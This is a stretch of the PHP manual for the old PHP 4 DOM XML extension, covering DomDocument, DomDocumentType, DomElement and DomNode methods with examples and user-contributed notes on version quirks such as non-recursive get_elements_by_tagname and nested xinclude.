For nukebagdad: in PHP versions below 4.3.0, get_elements_by_tagname() is not recursive; that is, it will only look at immediate children inside the element, and will not look any deeper in the tree.

So if you have a document:
<root>
  <a>
   <b>
     <c>
     </c>
   </b>
  </a>
</root>

calling:
   $a->get_elements_by_tagname("b")

returns an array containing the element <b>, as expected.

But if you try:
   $a->get_elements_by_tagname("c")

you will get an empty array (I'm seeing this in 4.2.2).

The method was made recursive in 4.3.0RC4 (see http://bugs.php.net/bug.php?id=20948)
jon at hiveminds dot net
05-Dec-2003 09:49
Warning to win32 users: It appears that use of the wildcard argument to this function (e.g.

<?php
  $alltags = $domdoc->get_elements_by_tagname("*");
?>

) to return a collection of all DomElements in a document, which worked in php4.3.0-4.3.3, is broken in php4.3.4 for Windows. Upgrading broke numerous scripts depending on this behaviour, which returned to normal as soon as I rolled back to 4.3.3-win32.

I had intended to offer a workaround using child_nodes(), but found problems with this also. Therefore my suggested workarounds are either (a) don't upgrade to 4.3.4 if you're running this extension on Windows and are depending on the wildcard behaviour or (b) rewrite your code so as to use actual tagnames

The wildcard usage is per the W3C DOM spec, so hopefully this will be fixed and available again in 4.3.5.
nukebaghdad at yahoo dot co dot uk
16-Oct-2003 03:39
Umm.... PHP4.2.3; Having some bother using DOMs get_elements_by_tagname('tag') myself on an XML and xHTML document for an unknown reason, I've now scripted a recursive function to traverse a document looking for a given tag;

$dom = domxml_open_file('c:/program files/apache group/apache/htdocs/template.html');
   $doc = $dom -> document_element(); // echo('<pre>'); print_r($doc -> child_nodes()); echo('</pre>');
   $doc = $doc -> child_nodes();
   #
   $head = $doc[1];
   $body = $doc[3];
   #

   $node = findTag($body, 'phptag'); echo('<pre>'); print_r($node); echo('</pre>');
   #

   function findTag($node, $tag) {
       if($node -> has_child_nodes()) {
           # continue as there are children to this node
           $children = $node -> child_nodes();
           #
           foreach($children as $child) {
               # first, check to see if a child is an actual node, and not just #text
               if($child -> type == XML_ELEMENT_NODE) {
                   # we have a real node, now check against the one were looking for
                   if($child -> tagname() == $tag) {
                       # found it
                       return $child;
                   }
                   else {
                       $a = findTag($child, $tag);
                   }
               }
           }
           return $a;
       }
   }

Not too sure why I just couldn't use get_elements_by_tagname() though this function does solve this problems I've been having, hope it helps others.

Enjoy.
Salman
02-Oct-2003 07:23
Yes it does return an object; the object is of type DomElement. Hopefully this code will help:

$element = new DomElement();

if(!$dom = domxml_open_file($xml_file)) {
   die("Error opening xml file");
}

$tables = $dom->get_elements_by_tagname("table");
foreach($tables as $table) {
   $element = $table;
   echo "Attribute name: ", $element->get_attribute("name");
}

- Salman
http://wwww.setcomputing.com/
blah at pasher dot org
17-Jan-2003 03:56
Correction to my last note: DomElement (and DomDocument) have their own get_elements_by_tagname() method. It does not get it from DomNode.
blah at pasher dot org
17-Jan-2003 03:44
To clarify some confusion:

This function returns an integer-indexed array of DomElement objects. The DomElement class extends the DomNode class, so all DomNode methods are available to this new object. Additional notes can be found under the "DomElement->get_elements_by_tagname" manual section. DomElement uses the DomNode method (unless DomElement overrides this method, but I don't think that occurs).

Also note, if there are no nodes matching your criteria, it returns an empty array, not false.
KingGeoffrey at yahoo dot com
24-Aug-2002 06:21
The return looks like an integer indexed array of objects when i try it.

Versions
 php:4.2.1 domxml:2.4.9

Code fragment:
   $nodes = $doc->get_elements_by_tagname("user");
   reset($nodes);
   while (list($key, $value) = each($nodes)) {
       echo "$key = " . $value->get_attribute('username') . "<br />\n";

   }

Output fragment:
0 = a
1 = b
2 = c
scouture at courtweb dot com
16-Jul-2002 06:33
Seems that this function return an object instead of an array. I've tried this :

if(!$dom = domxml_open_file("g://program files/apache group/apache/htdocs/intranetcw/data/config_one.xml"))
{
  echo "Error while parsing the document\n";
  exit;
}

//array DomDocument->get_elements_by_tagname ( string name)

$array_element = $dom->get_elements_by_tagname("IP_ORACLE_CONFIG");
if ($array_element)
{
   echo count($array_element)." array count<br>";
   for ($i=0;$i<count($array_element);$i++)
   {
       echo $array_element[$i]." array content<br>";
   }
}
else
{
   echo "you get nothing";
}

and the result was :

1 array count
Object array content

Styve
add a note add a note

后退 | 起点 | 前进
DomDocument->get_element_by_id | 上一级 | DomDocument->html_dump_mem


DomDocument->html_dump_mem

(no version information, might be only in CVS)

DomDocument->html_dump_mem -- Dumps the internal XML tree back into a string as HTML

说明

string DomDocument->html_dump_mem ( void )

Creates an HTML document from the dom representation. This function usually is called after building a new dom document from scratch as in the example below.

例子 1. Creating a simple HTML document header

<?php

// Creates the document
$doc = domxml_new_doc("1.0");

$root = $doc->create_element("html");
$root = $doc->append_child($root);

$head = $doc->create_element("head");
$head = $root->append_child($head);

$title = $doc->create_element("title");
$title = $head->append_child($title);

$text = $doc->create_text_node("This is the title");
$text = $title->append_child($text);

echo $doc->html_dump_mem();
?>

上例将输出：

<html><head><title>This is the title</title></head></html>

See also domdocument_dump_file(), and domdocument_html_dump_mem().

add a note add a note User Contributed Notes
Sudrien
15-Nov-2005 01:17
Clarification: DomDocument->dump_mem adds the  <?xml version="1.0"?> header, with some additional options.

header("Content-Type: application/xhtml+xml");
 forces xml processing (this can also be a server setting). Idealy, both should be used for serving xhtml, though the <?xml version="1.0"?> may be dropped - on its own, it does not XML processing.
drew dot northup at maine dot edu
16-Aug-2005 08:34
Note that DomDocument->html_dump_mem does not allow you to output valid XHTML, as you need to have valid xml tags for it.  Use DomDocument->dump_mem to output valid XHTML instead.
add a note add a note

后退 | 起点 | 前进
DomDocument->get_elements_by_tagname | 上一级 | DomDocument->xinclude


DomDocument->xinclude

(no version information, might be only in CVS)

DomDocument->xinclude -- Substitutes XIncludes in a DomDocument Object

说明

int DomDocument->xinclude ( void )

This function substitutes XIncludes in a DomDocument object.

例子 1. Substituting Xincludes

<?php

// include.xml contains :
// <child>test</child>

$xml = '<?xml version="1.0"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="include.xml">
    <xi:fallback>
      <error>xinclude: include.xml not found</error>
    </xi:fallback>
  </xi:include>
</root>';

$domxml = domxml_open_mem($xml);
$domxml->xinclude();

echo $domxml->dump_mem();

?>

上例将输出：

<?xml version="1.0"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <child>test</child>
</root>

If include.xml doesn't exist, you'll see:

<?xml version="1.0"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <error>xinclude:dom.xml not found</error>
</root>

add a note add a note User Contributed Notes
www dot spam at whoah dot net
21-Aug-2004 09:29
Tips for anyone trying to use nested <xi:include /> blocks:

- Multiple calls to DOMDocument::xinclude() are required to parse each level of include blocks, you can either call xinclude() a fixed amount of times (enough to cover your needs), or you can check for leftover <xi:include /> blocks after each call to DOMDocument::xinclude() to see if you need to call it again.

- If you are going to use an <xi:include /> block in an included file, you must define the "xi" namespace in the included file where another include block exists, the namespace definition will not carry through from the first xml file

eg.

==========
a.xml (xi definition needed)
----------
<?xml version="1.0"?>
<a xmlns:xi="http://www.w3.org/2001/XInclude">
   <xi:include href="includes/b.xml" />
</a>
==========

==========
b.xml (xi definition needed)
----------
<?xml version="1.0"?>
<b xmlns:xi="http://www.w3.org/2001/XInclude">
   <xi:include href="c.xml" />
</b>
==========

==========
c.xml (xi definition not needed)
----------
<?xml version="1.0"?>
<c>whatever</c>
==========

- Futher to my example above, if you are including an xml file that has another include inside it, the href "base" url will be taken from the 2nd file. In the above example, "c.xml" is actually in the same directory as "b.xml", whereas "a.xml" is in the directory above, but because b is calling c, the "base" directory is seen as "includes/"

Another tip not related to nested xincludes, but simply xinclude stuff in general:

I wanted to turn this...
<a>
   <b />
   <c />
   <d />
   <e />
</a>

...into this...
<a>
   <xi:include file="bcde.xml" />
</a>

...but then bcde.xml would have looked like this...
<b />
<c />
<d />
<e />

...which is not valid xml and was causing an error. So just remember that included files need to be valid and may still only have one root element.

These are from my experiences with PHP5.0.1, I'm not a DOMXML expert at all. Enjoy!
amm at remasys dot com
02-Jul-2004 12:14
xml Include using xpointer to include specific part of another xml doc

Main xml file (or string):
<?xml version="1.0" encoding="utf-8"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
   <optional>
     <xi:include href="include.xml#xpointer(/parts/*)" parse="xml">
         <xi:fallback>
           <error>Error.</error>
         </xi:fallback>
     </xi:include>
   </optional>
   <blah>blah</blah>
   <blah>blah</blah>
</root>

Include.xml file (or string:
<?xml version="1.0" encoding="utf-8"?>
<parts>
   <part>part one</part>
   <part>part two</part>
   <part>part three</part>
</parts>

href="include.xml#xpointer(/parts/*)"
will include all <part> tags but NOT <parts>

href="include.xml#xpointer(/parts/part[1])"
will include <part>part one</part>

simple but very usefull.
add a note add a note

后退 | 起点 | 前进
DomDocument->html_dump_mem | 上一级 | DomDocumentType->entities()


DomDocumentType->entities()

(no version information, might be only in CVS)

DomDocumentType->entities() -- Returns list of entities

说明

class DomDocumentType {

array entities ( void )

}

警告

本函数暂无文档，仅有参数列表。

Migrating to PHP 5

Use the entities property of the DOMDocumentType object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocument->xinclude | 上一级 | DomDocumentType->internal_subset()


DomDocumentType->internal_subset()

(no version information, might be only in CVS)

DomDocumentType->internal_subset() -- Returns internal subset

说明

class DomDocumentType {

bool internal_subset ( void )

}

警告

本函数暂无文档，仅有参数列表。

Migrating to PHP 5

Use the internalSubset property of the DOMDocumentType object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocumentType->entities() | 上一级 | DomDocumentType->name()


DomDocumentType->name()

(no version information, might be only in CVS)

DomDocumentType->name() -- Returns name of document type

说明

class DomDocumentType {

string name ( void )

}

This function returns the name of the document type.

返回值

Returns the name of the DomDocumentType, as a string.

范例

例子 1. Getting the document type's name

<?php

include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
    echo "Error while parsing the document\n";
    exit;
}

$doctype = $dom->doctype();
echo $doctype->name(); // chapter

?>

Migrating to PHP 5

Use the name property of the DOMDocumentType object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocumentType->internal_subset() | 上一级 | DomDocumentType->notations()


DomDocumentType->notations()

(no version information, might be only in CVS)

DomDocumentType->notations() -- Returns list of notations

说明

class DomDocumentType {

array notations ( void )

}

警告

本函数暂无文档，仅有参数列表。

Migrating to PHP 5

Use the notations property of the DOMDocumentType object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocumentType->name() | 上一级 | DomDocumentType->public_id()


DomDocumentType->public_id()

(no version information, might be only in CVS)

DomDocumentType->public_id() -- Returns public id of document type

说明

class DomDocumentType {

string public_id ( void )

}

This function returns the public id of the document type.

返回值

Returns the public id of the DomDocumentType, as a string.

范例

The following example echos nothing.

例子 1. Retrieving the public id

<?php
include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$doctype = $dom->doctype();
echo $doctype->public_id();
?>

Migrating to PHP 5

Use the publicId property of the DOMDocumentType object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocumentType->notations() | 上一级 | DomDocumentType->system_id()


DomDocumentType->system_id()

(no version information, might be only in CVS)

DomDocumentType->system_id() -- Returns the system id of document type

说明

class DomDocumentType {

string system_id ( void )

}

Returns the system id of the document type.

返回值

Returns the system id of the DomDocumentType, as a string.

范例

例子 1. Retrieving the system id

<?php
include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$doctype = $dom->doctype();
echo $doctype->system_id();
?>

上例将输出：

/share/sgml/Norman_Walsh/db3xml10/db3xml10.dtd

Migrating to PHP 5

Use the systemId property of the DOMDocumentType object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocumentType->public_id() | 上一级 | DomElement->get_attribute_node()


DomElement->get_attribute_node()

(no version information, might be only in CVS)

DomElement->get_attribute_node() -- Returns the node of the given attribute

说明

class DomElement {

DomAttribute get_attribute_node ( string name )

}

Returns the node of the given attribute in the current element.

参数

name

The name of the seeked attribute. This parameter is case sensitive.

返回值

Returns the node of the attribute as a DomAttribute or FALSE if no attribute with the given name is found.

范例

例子 1. Getting an attribute node

<?php

include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
    echo "Error while parsing the document\n";
    exit;
}

$root = $dom->document_element();
if ($attribute = $root->get_attribute_node('language')) {
    echo 'Language is: ' . $attribute->value() . "\n";
}

?>

Migrating to PHP 5

Use DOMElement->getAttributeNode().

参见

DomElement->get_attribute()
DomElement->set_attribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomDocumentType->system_id() | 上一级 | DomElement->get_attribute()


DomElement->get_attribute()

(no version information, might be only in CVS)

DomElement->get_attribute() -- Returns the value of the given attribute

说明

class DomElement {

string get_attribute ( string name )

}

Returns the value of the given attribute in the current element.

Since PHP 4.3, if no attribute with given name is found, an empty string is returned.

参数

name

The name of the seeked attribute. This parameter is case sensitive.

返回值

Returns the name of the attribute as a string or an empty string if no attribute with the given name is found.

范例

例子 1. Getting the value of an attribute

<?php

include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
    echo "Error while parsing the document\n";
    exit;
}

// get chapter
$root = $dom->document_element();
echo $root->get_attribute('language'); // en

?>

Migrating to PHP 5

Use DOMElement->getAttribute().

参见

DomElement->get_attribute_node()
DomElement->set_attribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomElement->get_attribute_node() | 上一级 | DomElement->get_elements_by_tagname()


DomElement->get_elements_by_tagname()

(no version information, might be only in CVS)

DomElement->get_elements_by_tagname() -- Gets elements by tagname

说明

class DomElement {

array get_elements_by_tagname ( string name )

}

Gets all the sub elements with the specific name within the current element.

参数

name

The name of the seeked element.

返回值

Returns an array of DomElement objects.

范例

例子 1. Getting a content

<?php
if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$root = $dom->document_element();

$node_array = $root->get_elements_by_tagname('element');

foreach ($node_array as $node) {
    echo ' - ' . $node->get_content() . "\n";
}

?>

Migrating to PHP 5

Use DOMElement->getElementsByTagName().

add a note add a note User Contributed Notes
php dot net dot 3 dot jdoe at spamgourmet dot com
31-Mar-2004 02:55
Function get_elements_by_tagname() is only defined for the DocumentRoot-Element rather than for any DocumentElement.
chregu at php dot net
30-Oct-2002 11:02
if you want to search for tagnames with namespaces, do it the following way:
(it's a work around, not a really proper solution..)

$dom = domxml_open_mem($xmlval);
$ctx=xpath_new_context($dom);
$ctx->xpath_register_ns("yns","http://your.name.space/uri");
$nodes = $dom->get_elements_by_tagname("yns:tagname",$ctx);
add a note add a note

后退 | 起点 | 前进
DomElement->get_attribute() | 上一级 | DomElement->has_attribute()


DomElement->has_attribute()

(no version information, might be only in CVS)

DomElement->has_attribute() -- Checks to see if an attribute exists in the current node

说明

class DomElement {

bool has_attribute ( string name )

}

This functions checks to see if an attribute named name exists in the current node.

参数

name

The name of the tested attribute.

返回值

Returns TRUE if the asked attribute exists, FALSE otherwise.

范例

例子 1. Testing the existence of an attribute

<?php

include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
    echo "Error while parsing the document\n";
    exit;
}

$root = $dom->document_element();

$buffer = '<html';
if ($root->has_attribute('language')) {
    $buffer .= 'lang="' . $root->get_attribute('language') . '"';
}
$buffer .= '>';

?>

Migrating to PHP 5

Use DOMElement->hasAttribute().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomElement->get_elements_by_tagname() | 上一级 | DomElement->remove_attribute()


DomElement->remove_attribute()

(no version information, might be only in CVS)

DomElement->remove_attribute() -- Removes attribute

说明

class DomElement {

bool remove_attribute ( string name )

}

Removes an attribute from the current DomElement node.

参数

name

The name of the attribute to remove.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

Migrating to PHP 5

Use DOMElement->removeAttribute().

add a note add a note User Contributed Notes
fpiat / bigfoot com
19-Apr-2006 05:38
<?php
/* Remove all attribute from a node */
foreach ($node->attributes() as $attr)
       $node->remove_attribute($attr);
/* Then rename that tag */
$node->set_name('div');
/* And set appropriate "class" attribute */
$node->set_attribute('class','paragraphBox');
?>
add a note add a note

后退 | 起点 | 前进
DomElement->has_attribute() | 上一级 | DomElement->set_attribute()


DomElement->set_attribute()

(no version information, might be only in CVS)

DomElement->set_attribute() -- Sets the value of an attribute

说明

class DomElement {

DomAttribute set_attribute ( string name, string value )

}

Sets an attribute with name name to the given value.

参数

name

The name of the attribute. If this attribute doesn't exist, it will be created.

value

The value of the attribute.

返回值

Returns the old DomAttribute node, or the new one if you are creating the attribute for the first time.

范例

例子 1. Setting an attribute

<?php
$doc = domxml_new_doc("1.0");
$node = $doc->create_element("para");
$newnode = $doc->append_child($node);
$newnode->set_attribute("align", "left");
?>

Migrating to PHP 5

Use DOMElement->setAttribute().

参见

DomElement->get_attribute_node()
DomElement->get_attribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomElement->remove_attribute() | 上一级 | DomElement->tagname()


DomElement->tagname()

(no version information, might be only in CVS)

DomElement->tagname() -- Returns the name of the current element

说明

class DomElement {

string tagname ( void )

}

Returns the name of the current node. Calling this function is the same as accessing the tagname property, or calling DomNode->node_name on the current node.

返回值

Returns the name of the current DomElement node.

范例

例子 1. Getting the node name

<?php

include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
    echo "Error while parsing the document\n";
    exit;
}

$root = $dom->document_element();
echo $root->tagname();   // chapter
echo $root->tagname;     // chapter
echo $root->node_name(); // chapter

?>

Migrating to PHP 5

Use the tagName property of the DOMElement object.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
DomElement->set_attribute() | 上一级 | DomNode->add_namespace


DomNode->add_namespace

(no version information, might be only in CVS)

DomNode->add_namespace -- Adds a namespace declaration to a node

说明

class DOMNode {

bool add_namespace ( string uri, string prefix )

}

This method adds a namespace declaration to a node.

注: This method is not part of the DOM specification.

参数

uri

The namespace URI of the node.

prefix

The namespace prefix of the node.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

Migrating to PHP 5

You can set the namespace URI and prefix of a DOMElement or a DOMAttr at creation time by using DOMDocument->createElementNS() or DOMDocument->createAttributeNS().

注: Remember the an attribute does not inherit its namespace from the element it is attached to.

参见

DomDocument->create_element_ns
DomNode->set_namespace

add a note add a note User Contributed Notes
tkearns at fastmail dot fm
17-Sep-2003 05:02
<?php
// EXAMPLE USING PHP 4.3.3
$objDoc = domxml_new_doc("1.0");
$ndRoot = $objDoc->create_element("root");
$ndRoot = $objDoc->append_child($ndRoot);

$ndRoot->set_namespace("foo/the/bar");
// using ramdom prefix, produces something like
// <a3767:root xmlns:a3767="foo/the/bar"/>

$ndRoot->set_namespace("yet/another/namespace","yan");
// modifies the existing prefix (again) produces something like
// <yan:root xmlns:a3767="foo/the/bar" xmlns:yan="yet/another/namespace"/>

$ndRoot->set_namespace("yet/another/namespace","foo");
// attempt to use the same ns id has again no effect. element is un-touched
// <yan:root xmlns:a3767="foo/the/bar" xmlns:yan="yet/another/namespace"/>

$ndRoot->set_namespace("new/ns/no/prefix");
// munges the existing element prefix again as well as adding declaration
// <a1757:root
//    xmlns:a3767="foo/the/bar"
//    xmlns:yan="yet/another/namespace"
//    xmlns:a1757="new/ns/no/prefix"
// />

/*
It seems that the only way to add a DEFAULT namespace to a node (without
affecting the current prefix), is to use set_attribute("xmlns",$ndId).
*/

$ndRoot->set_attribute("xmlns","default/ns/no/prefix");
// now we have
// <a1757:root
//    xmlns:a3767="foo/the/bar"
//    xmlns:yan="yet/another/namespace"
//    xmlns:a1757="new/ns/no/prefix"
//    xmlns="default/ns/no/prefix"
// />

/*
Note that namespace declarations inserted using set_namespace are not classed as
attributes, so they do not show up in an attribute list. Since we set our
default namespace using the set_attribute() method, it is the only one that will
show up.
*/
var_dump($ndRoot->attributes());
// see that only the defaul namespace is returned because it is of type
// "domattribute" because we set it with an attribute method.

$ndRoot->set_attribute("xmlns:pfx","non/default/with/prefix");
// now we have
// <a1757:root
//    xmlns:a3767="foo/the/bar"
//    xmlns:yan="yet/another/namespace"
//    xmlns:a1757="new/ns/no/prefix"
//    xmlns="default/ns/no/prefix"
//    xmlns:pfx="non/default/with/prefix"
// />

/*
Any XML processor still regards it as a namespace declaration the same way
they recognise the other namespaces we declared. Problem for us is that we
cannot ascertain the existing namespace declarations on any element if they are
not declared using set_attribute. Furthermore, external files imported into
DOMXML objects do NOT have their namespace declarations detected as attributes -
and rightly so. But the problem arises that now there is no way to detect these
declarations.
*/

var_dump($ndRoot->attributes());
// Our new "xmlns:pfx" *attribute* now shows up because we set it with an
// attribute method and it is of type "domattribute". So what of our namespace
// declarations using set_namespace() then? Do they have a type?

/*
Well there doesn't seem to be any other dom type where our declarations can
reside. This is problably the reason why we have no way of detecting them.
It's important to note that when parsing in external XML files, the prefixed
namespace declarations do NOT show up in the list of attribute nodes.
*/

/*
I would also argue that destroying the existing element prefix by forcing the
[re]population of it with a new one when using set_namespace() should be
considdered "unexpected behaviour". If the user doesn not supply a prefix, then
it should be added as the default namespace (with no prefix).
Using set_attribute() is a workaround to the "problem" and not a solution.
*/

/*
The behaviour of set_namespace() is not the biggest problem though.
Inability to detect existing namespace declarations is. How do I find out if
a namespace with id of "yet/another/namespace" has been declared in this
element? The answer is I can't. And if I could, I would also want to know what
prefix it is using.
*/

echo htmlentities($objDoc->dump_mem(true));
?>
add a note add a note

后退 | 起点 | 前进
DomElement->tagname() | 上一级 | DomNode->append_child


DomNode->append_child

(no version information, might be only in CVS)

DomNode->append_child -- Adds a new child at the end of the children

说明

class DOMNode {

DOMNode append_child ( DOMNode newnode )

}

This functions appends a child to an existing list of children or creates a new list of children.

参数

newnode

The node being appended. It can be created with e.g. DomDocument->create_element, DomDocument->create_text_node etc. or simply by using any other node.

注: You can not append a DOMAttribute using this method. Use DomElement->set_attribute() instead.

返回值

Returns the appended node on success or FALSE on failure.

更新日志

版本 | 说明
4.3.0 | You are not allowed anymore to insert a node from another document.
4.3.0 | Prior to PHP 4.3.0, the new child is duplicated before being appended. Therefore the new child is a completely new copy which can be modified without changing the node which was passed to this function. If the node passed has children itself, they will be duplicated as well, which makes it quite easy to duplicate large parts of an XML document. The return value is the appended child. If you plan to do further modifications on the appended child you must use the returned node.
4.3.0 and 4.3.1 | The new child newnode is first unlinked from its existing context, if it's already a child of DomNode. Therefore the newnode is moved and not copies anymore. This is the behaviour according to the W3C specifications. If you need the old behaviour, use DomNode->clone_node before appending.
4.3.2 | The new child newnode is first unlinked from its existing context, if it's already in the tree. Same rules apply.

范例

The following example adds a new element node to a fresh document and sets the attribute align to left.

例子 1. Adding a child

<?php
$doc = domxml_new_doc("1.0");
$node = $doc->create_element("para");
$newnode = $doc->append_child($node);
$newnode->set_attribute("align", "left");
?>

The above example could also be written as the following:

例子 2. Adding a child

<?php
$doc = domxml_new_doc("1.0");
$node = $doc->create_element("para");
$node->set_attribute("align", "left");
$newnode = $doc->append_child($node);
?>

A more complex example is the one below. It first searches for a certain element, duplicates it including its children and adds it as a sibling. Finally a new attribute is added to one of the children of the new sibling and the whole document is dumped.

例子 3. Adding a child

<?php
include("example.inc");

if (!$dom = domxml_open_mem($xmlstr)) {
  echo "Error while parsing the document\n";
  exit;
}

$elements = $dom->get_elements_by_tagname("informaltable");
print_r($elements);
$element = $elements[0];

$parent = $element->parent_node();
$newnode = $parent->append_child($element);
$children = $newnode->children();
$attr = $children[1]->set_attribute("align", "left");

$xmlfile = $dom->dump_mem();
echo htmlentities($xmlfile);
?>

The above example could also be done with DomNode->insert_before instead of DomNode->append_child.

Migrating to PHP 5

You should use DOMNode->appendChild().

参见

DomNode->insert_before
DomNode->clone_node

add a note add a note User Contributed Notes
andrew at transitionmedia dot co dot uk
12-Feb-2006 11:03
As of version 4.3 PHP doesn't support Appending a child from another source document. If you are trying to  import information from multiple sources into a final document [for transformation using XSL as an example] then you can have problems. This technique can be used to do it though.

I am assuming you have two documents open, $xmldoc1 and $xmldoc2 and you have selected [via XPath or explicit searching] the nodes you want in each document. Thus $xmldoc1_appending_node is the node you would like to add $xmldoc2_importnode to.

<?

// first we create a temporary node within the document we want to add to.
$temp_importnode = $xmldoc1->create_element("import");

// now we have a node that is in the right document context we can clone the one we want into this one.
$temp_importnode = $xmldoc_importnode->clone_node(true);

// by using true in the above call to clone_node() we copy all of the child nodes as well. Use false or nothing if you just want the containing node with no children.

$xmldoc1_appending->append_child($importnode);

?>

Now your document contains the new nodes imported from a different document.
wackysalut at bourget dot cc
02-Nov-2002 04:46
Be careful of the order you append childs. (PHP <= 4.2)

If you create let's say:

$x_html = $x_doc->create_element('html');
$x_head, $x_title, $x_meta, $x_link and $x_body in the same way.

If you:

$x_head->append_child($x_title);
$x_head->append_child($x_meta);
$x_head->append_child($x_link);

$x_html->append_child($x_head);

$x_body_backup = $x_html->append_child($x_body);

/* here */

$x_doc->append_child($x_html);

If you now try to modify $x_body_backup.. it will no longer be able to modify the actualy XML tree, because you appended the HTML tree to the DomDocument.. and it has copied ALL the nodes at the end of the DomDocument, so the reference you now have in $x_body_backup is not valid anymore! If you had modified it where the /* here */ line is.. the $x_body_backup would still be valid.. but not after the $x_doc->append_child($x_html);

What you can do is, reverse the order of your appendings.. so that you append the highest level node at the end.. so that your reference is still valid after, or wait till you have filled all of the nodes you wanted to add before you append it to your parent node.
add a note add a note

后退 | 起点 | 前进
DomNode->add_namespace | 上一级 | DomNode->append_sibling


DomNode->append_sibling

(no version information, might be only in CVS)

DomNode->append_sibling -- Adds new sibling to a node

说明

domelement DomNode->append_sibling ( domelement newnode )

This functions appends a sibling to an existing node. The child can be created with e.g. domdocument_create_element(), domdocument_create_text() etc. or simply by using any other node.

Before a new sibling is added it is first duplicated. Therefore the new child is a completely new copy which can be modified without changing the node which was passed to this function. If the node passed has children itself, they will be duplicated as well, which makes it quite easy to duplicate large parts of an XML document. The return value is the added sibling. If you plan to do further modifications on the added sibling you must use the returned node.

This function has been added to provide the behaviour of domnode_append_child() as it works till PHP 4.2.

See also domnode_append_before().

add a note add a note User Contributed Notes
s dot girard at pandora dot be
01-May-2004 02:06
Small example on the use of domnode->append_sibling()
This function creates a news.xml file, that will be later on parsed with XSLT.

$doc = domxml_new_doc("1.0");
$root = $doc->create_element("rt");
$root = $doc->append_child($root);
$page = $doc->create_element("page");
$page = $root->append_child($page);
$page->set_attribute("pageimage","images/news.jpg");

while($row = mysql_fetch_row($result))
{
   $news = $doc->create_element("news");
   $news = $page->append_child($news);

   $topic = $doc->create_element("topic");
   $topic = $news->append_child($topic);

   $topic_content = $doc->create_text_node($row[0]);
   $topic_content = $topic->append_child($topic_content);

   $user = $doc->create_element("user");
   $user = $topic->append_sibling($user);

   $user_content = $doc->create_text_node($row[3]);
   $user_content = $user->append_child($user_content);

   $date = $doc->create_element("date");
   $date = $topic->append_sibling($date);

   $date_content = $doc->create_text_node($row[2]);
   $date_content = $date->append_child($date_content);

   $body = $doc->create_element("body");
   $body = $topic->append_sibling($body);

             $body_content = $doc->create_text_node($row[1]);
   $body_content = $body->append_child($body_content);
}
unlink("./data/news.xml");
$doc->dump_file("./data/news.xml");
add a note add a note

后退 | 起点 | 前进
DomNode->append_child | 上一级 | DomNode->attributes


DomNode->attributes

(no version information, might be only in CVS)

DomNode->attributes -- Returns list of attributes

说明

array DomNode->attributes ( void )

This function only returns an array of attributes if the node is of type XML_ELEMENT_NODE.

(PHP >= 4.3 only) If no attributes are found, NULL is returned.

add a note add a note User Contributed Notes
Ian Monroe
30-Nov-2005 12:03
A function to get the value of an attribute given the name of the desired attribute and the results of attributes() to the second parameter.
<?php
function getAttribute($name, $att)
{
   foreach($att as $i)
   {
       if($i->name()==$name)
           return $i->value();
   }
}?>
steve at realappraiser dot net
06-Jan-2005 04:41
$xpath = $parseDoc->xpath_new_context($parseDoc);
$getResultSearch = $xpath->xpath_eval("//PROPERTY_INFORMATION_RESPONSE/_PRODUCT");
$nodesetResult = $getResultSearch->nodeset;
$var1=$getResultSearch->nodeset[0]->attributes() ;
implode($var1);
print_r ($var1 )  ;

// it prints something like this:::::

Array ( [0] => domattribute Object ( [type] => 2 [name] => _PrettyAttr [value] => Y [0] => 26 [1] => 161068800 ) )
add a note add a note

后退 | 起点 | 前进
DomNode->append_sibling | 上一级 | DomNode->child_nodes


DomNode->child_nodes

(no version information, might be only in CVS)

DomNode->child_nodes -- Returns children of node

说明

array DomNode->child_nodes ( void )

Returns all children of the node.

See also domnode_next_sibling(), and domnode_previous_sibling().

add a note add a note User Contributed Notes
andrew at transitionkiteboarding dot com
27-May-2004 02:58
Sometimes unless you know exactly where elements are it can be time consuming to pick each thing up with get_element_by_tagname calls.

I used a quick little function that, given a structure such as:

<customer>
  <firstname>Joe</firstname>
  <surname>Bloggs</surname>
  <age>24</age>
  <sex>Male</sex>
  ...
</customer>

it will return an associative array with the tag names as keys and the content as values. During the load I strip whitespace as well so it isn't confused by \n's creating blank nodes

-- CODE --
$xmldoc = domxml_open_mem($xmlstring,
  DOMXML_LOAD_PARSING + //0
  DOMXML_LOAD_COMPLETE_ATTRS + //8
  DOMXML_LOAD_SUBSTITUTE_ENTITIES + //4
  DOMXML_LOAD_DONT_KEEP_BLANKS //16 ));

  // get the node root and then the children of it.
  $noderoot = $xmldoc->document_element();
  $childnodes = $noderoot->child_nodes();

  // build the array
  foreach ($childnodes as $value) {
     echo $value->tagname . " : " . $value->get_content() . "<br>";
     $nodeArray[$value->tagname] = $value->get_content();
  }

-- END CODE --

